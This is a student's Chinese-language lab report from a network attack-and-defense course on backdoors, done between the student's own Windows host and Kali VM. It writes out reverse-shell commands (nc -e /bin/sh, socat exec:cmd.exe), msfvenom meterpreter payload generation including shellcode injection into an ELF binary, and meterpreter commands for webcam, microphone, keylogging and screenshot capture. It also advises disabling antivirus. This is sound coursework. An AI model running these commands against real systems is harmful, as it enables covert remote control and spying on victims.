1. 程式人生 > 其它 >20192404 2021-2022-2 《網路與系統攻防技術》 實驗二實驗報告

20192404 2021-2022-2 《網路與系統攻防技術》 實驗二實驗報告

實驗二 後門原理與實踐

一、實驗目標

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)

PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

二、實驗要求和準備

2.1實驗要求

掌握後門原理及免殺技術

回答問題:
(1)問:例舉你能想到的一個後門進入到你係統中的可能方式?
答:在一些網站上下載軟體的時候,這些軟體就可能攜帶後門程式,在我們將這些軟體下載到我們的電腦的時候,後門程式就會隨之進入我們的系統。
(2)問:例舉你知道的後門如何啟動起來(win及linux)的方式?
答:後門程式可能會和某些軟體的啟動“繫結”在一起,當我們啟動這些軟體的時候,後門程式也會隨之啟動。
(3)問:Meterpreter有哪些給你映像深刻的功能?
答:可以下載或者上傳一些檔案,或者獲取一些系統的資訊,甚至於像本次實驗中的那樣,得到攝像頭的拍攝畫面和桌面截圖,不由得讓人細思極恐。
(4)問:如何發現自己有系統有沒有被安裝後門?
答:可以通過一些抓包工具,看一下自己的電腦有沒有發一些異常的資訊給一些沒有主動訪問我們的主機,如果有的話可能就是存在後門程式。

2.2實驗準備

首先我們要在自己的win系統下載本次實驗所需要的後門工具Netcat和Socat(由於我們的虛擬機器kali系統自帶這兩個後門工具所以就不需要我們再下載)
通過老師提供的附件,我們可以找到這兩個後門工具,然後將它們下載到自己找得到的位置就可以

測試是否下載成功(這裡我們需要在終端進入到這兩個工具所在的位置):

注意:這裡我們最好提前將防毒軟體類的東西關掉,否則會報出風險提示,導致無法執行甚至被刪除掉。

然後我們來簡單熟悉一下我們實驗的工具:
我們先來檢視一下win的ip

然後是我們虛擬機器的IP地址

測試連通性,看兩者能否ping通

win主機執行監聽指令ncat.exe -l -p 8888,linux反彈連線win主機指令nc 192.168.56.1 8888 -e /bin/sh,然後進行測試

成功,然後我們開始實驗。

三、實驗過程

3.1 使用Ncat獲取主機操作 Shell ,cron啟動

首先我們已經獲得的主機和虛擬機器的ip地址
192.168.31.20 192.168.190.128
接著,在 Win端內監聽本機的4316(任意)埠,輸入ncat -l -p 4316 後進入監聽狀態
接下來,在 kali虛擬機器端內編輯一條定時任務,終端輸入 crontab -e ,通過vim在最下面增加一條定時任務,根據實驗時間選取一個合適的時間
比如我是在7點32分做的實驗,於是我就選取每個小時的第35分鐘增加任務

等待一會後,我們發現我們已經成功的在監聽端(win)獲取了被監聽端(kali)的shell

3.2使用Socat獲取主機操作 Shell ,任務計劃啟動

我們在win端和kali端分別執行socat命令:
在win執行socat.exe tcp-listen:5555 exec:cmd.exe,pty,stderr;

在kali執行socat - tcp:192.168.31.20:5555
然後我們就發現我們在kali端得到了一個win的shell

3.3使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

首先,我們要在在kali端通過指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=1234 -f exe > jzb.exe生成可執行檔案作為後門程式

然後我們要使用nc工具將我們自己搞出來的後門程式發給我們自己的主機

檢視ncat資料夾,接受成功

然後我們在kali上要使用MSF meterpreter工具
輸入msfconsole指令進入msf控制檯、輸入use exploit/multi/handler進入handler、輸入set payload windows/meterpreter/reverse_tcp設定連線、輸入set LHOST 192.168.190.128設定ip地址(這裡指kali的ip地址)、輸入set LPORT 2404設定埠號
然後我們輸入exploit指令就可以開始監聽,接著雙擊win主機的後門.exe程式,可以在kali上獲得遠端控制shell

3.4使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

meterpreter有以下的指令:
1)record_mic -d X 可以獲得一段X秒的音訊
2)webcam_snap 可以獲取攝像頭拍出來的影象
3)keyscan_start開始記錄敲擊鍵盤的過程,輸入指令keyscan_dump讀取敲擊鍵盤的記錄
4)screenshot可以進行截圖
獲得的三個檔案如下(音訊、影象、截圖):

獲得的敲擊鍵盤記錄:

3.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(選做)

首先我們要得到上次實驗的pwn檔案所在位置

接著我們要生成shellcode注入20192404jzb_pwn,輸入指令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=8888 -x /home/zgg/桌面/pwn/pwn20192404 -f elf >20192404jzb_pwn

最後在msf控制檯輸入exploit進行監聽(注意埠號要與之前保持一樣)。開啟另外一個終端輸入./20192404jzb_pwn指令,可以發現我們成功獲取了shell

四、問題及解決方案

(1)防毒軟體問題

最開始我下載附件裡的後門工具時,總是無法執行或者下載不成功甚至防毒軟體會報錯
解決方法:直接關掉防毒軟體或者病毒檢測。

(2)埠號問題

在實驗中我們需要多次用到我們的埠號,如果我們隨意使用埠號,在某些步驟埠號需要保持一致等情況時,就很容易搞亂,就像我在做實驗時就老實亂選埠號
解決方法:所以建議使用統一好記的數字作為埠號(例如學號)。

(3)虛擬機器位數問題

在實驗3.3我先找的的指令存在問題,導致後面步驟一直存在問題
解決方法:後來我猜測可能是虛擬機器位數問題,後經過尋找後改用新的32位的指令成功完成了後續任務。

五、實驗感想和體會

本次實驗中,我學習並實踐了後門的原理和工具的操作,並且第一次通過自己動手體會到了網路攻擊的可怕,尤其是使用meterpreter獲取我的攝像頭影象的時候,我真的感覺細思極恐,如果不法分子真的使用類似的手段,那我們的隱私甚至個人的安全都會存在巨大的隱患,不過這也讓我從反方面有了好好學習這門課的熱情,瞭解了這樣進行的攻擊,那麼究竟該怎麼防範呢?尤其是實驗提出的問題,如何發現自己有系統有沒有被安裝後門? 這也引起了我的興趣和思考。最後,可以說本次實驗讓我很受震撼,希望在後續的學習中我能學習到更多更有用的知識!